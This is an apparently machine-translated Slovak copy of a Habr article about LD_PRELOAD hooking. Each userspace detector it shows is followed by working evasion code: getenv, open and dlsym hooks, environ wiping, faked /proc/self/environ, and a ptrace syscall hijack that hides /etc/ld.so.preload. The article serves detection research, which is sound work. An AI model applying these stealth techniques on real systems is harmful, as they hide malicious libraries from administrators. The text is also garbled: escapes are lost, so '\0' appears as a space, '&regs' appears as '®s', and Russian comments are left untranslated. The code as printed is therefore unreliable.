Tento článok bol napísaný v roku 2014, ale práve som sa ocitol pod represiou na habre a nikdy sa nedostal na svetlo sveta. Počas môjho zákazu som naň zabudol, a teraz som ho našiel v konceptoch. Rozmýšľal som, že ho zmažem, ale možno sa niekomu zíde.

Takže, malé piatkové čítanie pre administrátorov na tému hľadania "vypnutej" LD_PRELOAD.
1. Malé odbočenie pre tých, ktorí nepoznajú náhradu funkcií
Ostatní môžu rovno prejsť na p.2.
Začneme s klasickým príkladom:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
Kompujeme bez akýchkoľvek flágov:
$ gcc ./ld_rand.c -o ld_rand
A, ako sa dalo očakávať, dostávame 5 náhodných čísel menších než 100:
$ ./ld_rand
53
93
48
57
20
Ale predstavme si, že nemáme zdrojový kód programu, ale potrebujeme zmeniť jeho správanie.
Vytvoríme si knižnicu s vlastným prototypom funkcie, napríklad:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
A teraz je náš náhodný výber celkom predvídateľný:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
Trik vyzerá ešte pôsobivejšie, ak najprv exportujeme našu knižnicu cez
$ export LD_PRELOAD=$PWD/ld_rand.so
alebo predtým vykonáme
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
a potom spustíme program bežným spôsobom. Nezmenili sme ani riadok v kóde samotného programu, ale jeho správanie teraz závisí od drobnej funkcie v našej knižnici. Navyše, v čase písania článku falošný rand ani neexistoval.
Čo nás prinútilo, aby náš program použil falošný rand? Разберем по шагам.
Keď sa aplikácia spustí, načítajú sa určité knižnice, ktoré obsahujú funkcie potrebné pre program. Môžeme sa na ne pozrieť pomocou ldd:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
Tento zoznam sa môže líšiť v závislosti od verzie OS, ale určite by mal obsahovať súbor libc.so. Práve táto knižnica zabezpečuje systémové volania a základné funkcie, ako sú open, malloc, printf a pod. Náš rand takisto patrí medzi ne. Uistíme sa o tom:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
Pozrime sa, či sa nezmení sada knižníc pri použití LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
Ukazuje sa, že nainštalovaná premenná LD_PRELOAD nanuší načítanie našej ld_rand.so napriek tomu, že program ju sám nevyžaduje. A keďže naša funkcia "rand" sa načíta skôr ako rand od libc.so, tak ona aj diriguje.
Ok, podarilo sa nám nahradiť rodnú funkciu, ale ako zabezpečiť, aby jej funkčnosť zostala zachovaná a pridali sa nejaké akcie. Modifikujeme náš random:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
Tu ako našu "prímes" jednoducho vypíšeme jednu vetu textu, po ktorej vytvoríme ukazovateľ na pôvodnú funkciu randNa získanie adresy tejto funkcie budeme potrebovať dlsym — je to funkcia z knižnice libdl, ktorá nájde náš rand v zásobníku dynamických knižníc. Potom zavoláme túto funkciu a vrátime jej hodnotu. Preto budeme musieť pridať "-ldl" pri kompilácii:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
A náš program používa "native" rand, predtým vykonaním niektorých nevhodných akcií.
2. Múky hľadania
Vedúc k potenciálnej hrozbe, chceme odhaliť, čo prednačítania bolo vykonané. Jasné je, že najlepší spôsob detekcie je zabudovať ho do jadra, ale zaujímali ma presne možnosti určovania v užívateľskom priestore.
Ďalej pôjdu páry riešení pre detekciu a ich vyvrátenie.
2.1. Začneme s jednoduchým
Ako už bolo spomenuté, určiť načítanú knižnicu je možné pomocou premennej LD_PRELOAD alebo ju zapísať do súboru /etc/ld.so.preload. Vytvoríme dva najjednoduchšie detektory.
Prvý — pre kontrolu nastavenia premennej prostredia:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
Druhý — pre kontrolu otvorenia súboru:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
Načítame knižnice:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
Tu a ďalej [+] označuje úspešné odhalenie.
Zodpovedajúco, [-] znamená obídenie detekcie.
Ako efektívny je takýto detektor? Najskôr sa zaoberajme premennou prostredia:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
Rovnakým spôsobom sa zbavíme aj kontroly open:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
Áno, tu môžu byť použité aj iné spôsoby prístupu k súboru, ako napríklad open64, stat a pod., ale v podstate na ich oklamanie je potrebných tých istých 5-10 riadkov kódu.
2.2. Ideme ďalej
Vyššie sme použili getenv() na získanie hodnoty LD_PRELOAD, ale je tu aj "nižšie úrovňový" spôsob, ako sa dostať k ENV-premenným. Nepoužívajme medzifunkcie, ale obrátme sa na pole **environ, v ktorom je uložená kópia prostredia:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
Keďže tu čítame dáta priamo z pamäte, takýto volanie nemožno zachytiť a náš undetect_getenv už nebráni odhaliť inváziu.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
Mohlo by sa zdať, že problém je vyriešený? Všetko iba začína.
Po spustení programu hodnota premennej LD_PRELOAD v pamäti už nie je potrebná hackrom, takže ju môžeme považovať za zbytočnú a odstrániť pred vykonaním akýchkoľvek inštrukcií. Samozrejme, manipulovať s poľom v pamäti je, minimálne, zlý programátorský štýl, ale môže to zastaviť niekoho, kto nám už tak či tak veľmi neželá dobre?
Na to budeme potrebovať vytvoriť svoju falošnú funkciu init(), v ktorej zachytíme nastavené LD_PRELOAD a predáme ju nášmu linkeru:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
Vykonáme, skontrolujeme:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
Avšak pamäť nie je posledné miesto, kde sa dá zistiť zmena LD_PRELOAD, sú tu aj ďalšie /proc/. Začneme s očividným /proc/{PID}/environ.
V skutočnosti existuje univerzálne riešenie pre undetect’ovanie **environ a /proc/self/environ. Problém spočíva v "nesprávnom" správaní unsetenv(env).
správna varianta
void evil_init()
{
// Najprv si uložíme aktuálnu hodnotu LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Zbavíme sa aktuálneho LD_PRELOAD
//unsetenv(env);
// Namiesto unset jednoducho nulifikujeme našu premennú
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Ale predstavme si, že sme ho nenašli a /proc/self/environ obsahuje "problémové" údaje.
Na začiatok vyskúšame našu predchádzajúcu "maskovanie":
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
cat používa na otvorenie súboru stále to isté open(), preto je riešenie podobné tomu, čo už bolo urobené v bode 2.1, ale teraz vytvárame dočasný súbor, do ktorého kopírujeme hodnoty skutočnej pamäte bez riadkov obsahujúcich LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
A tento krok je za nami:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
Nasledujúce očividné miesto — /proc/self/maps. Zdržovať sa na ňom nemá zmysel. Riešenie je úplne identické s predchádzajúcim: kopírujeme údaje zo súboru s výnimkou riadkov medzi libc.so a ld.so.
2.4. Varianta od Chokepoint
Toto riešenie sa mi najviac páčilo svojou jednoduchosťou. Porovnávame adresy funkcií, ktoré sú načítané priamo z libc, a "NEXT" adresy.
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
Načítame knižnicu s zachytením "open()" a skontrolujeme:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc adresa: 0x7fa86893b160
Ďalšia adresa: 0x7fa868a26135
Vyvrátenie sa ukázalo byť ešte jednoduchšie:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Syscall-y
Na prvý pohľad by to bolo všetko, ale ešte sa trochu pohrabeme. Ak nasmerujeme systémový call priamo na jadro, obíde to celý proces zachytávania. Riešenie je nižšie, samozrejme, závislé na architektúre (x86_64). Skúsime implementovať detekciu otvorenia ld.so.preload.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
A táto úloha má riešenie. Úryvok z man‘a:
ptrace — je nástroj, ktorý umožňuje rodičovskému procesu sledovať a kontrolovať vykonávanie iného procesu, prezerať a meniť jeho dáta a registre. Zvyčajne sa táto funkcia používa na vytváranie bodov prerušenia v debugu a sledovanie systémových volaní.
Rodičovský proces môže začať sledovanie najprv zavolaním funkcie fork(2), po čom sa vyprodukovaný podradený proces môže vykonať PTRACE_TRACEME, za ktorým (zvyčajne) nasleduje vykonávanie exec(3). Na druhej strane, rodičovský proces môže začať ladenie existujúceho procesu pomocou PTRACE_ATTACH.
Pri sledovaní sa podradený proces zastaví zakaždým, keď dostane signál, aj keď je tento signál ignorovaný. (Výnimkou je SIGKILL, ktorý funguje normálne.) Rodičovský proces bude o tom informovaný pri zavolaní wait(2), po ktorom môže prezerať a meniť obsah podradeného procesu pred jeho spustením. Potom rodičovský proces umožní podradenému pokračovať v práci, v niektorých prípadoch ignorujúc zaslaný signál alebo posielajúc namiesto toho iný signál).
Týmto je riešenie v tom, sledovať proces, zastavujúc ho pred každým systémovým volaním a, ak je to potrebné, presmerovať tok do funkcie háku.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
Kontrolujeme:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
Obrovské ďakujem
, ktorých články, zdrojové kódy a komentáre urobili omnoho viac ako ja, aby sa táto poznámka dostala sem.
Zdroj: habr.com
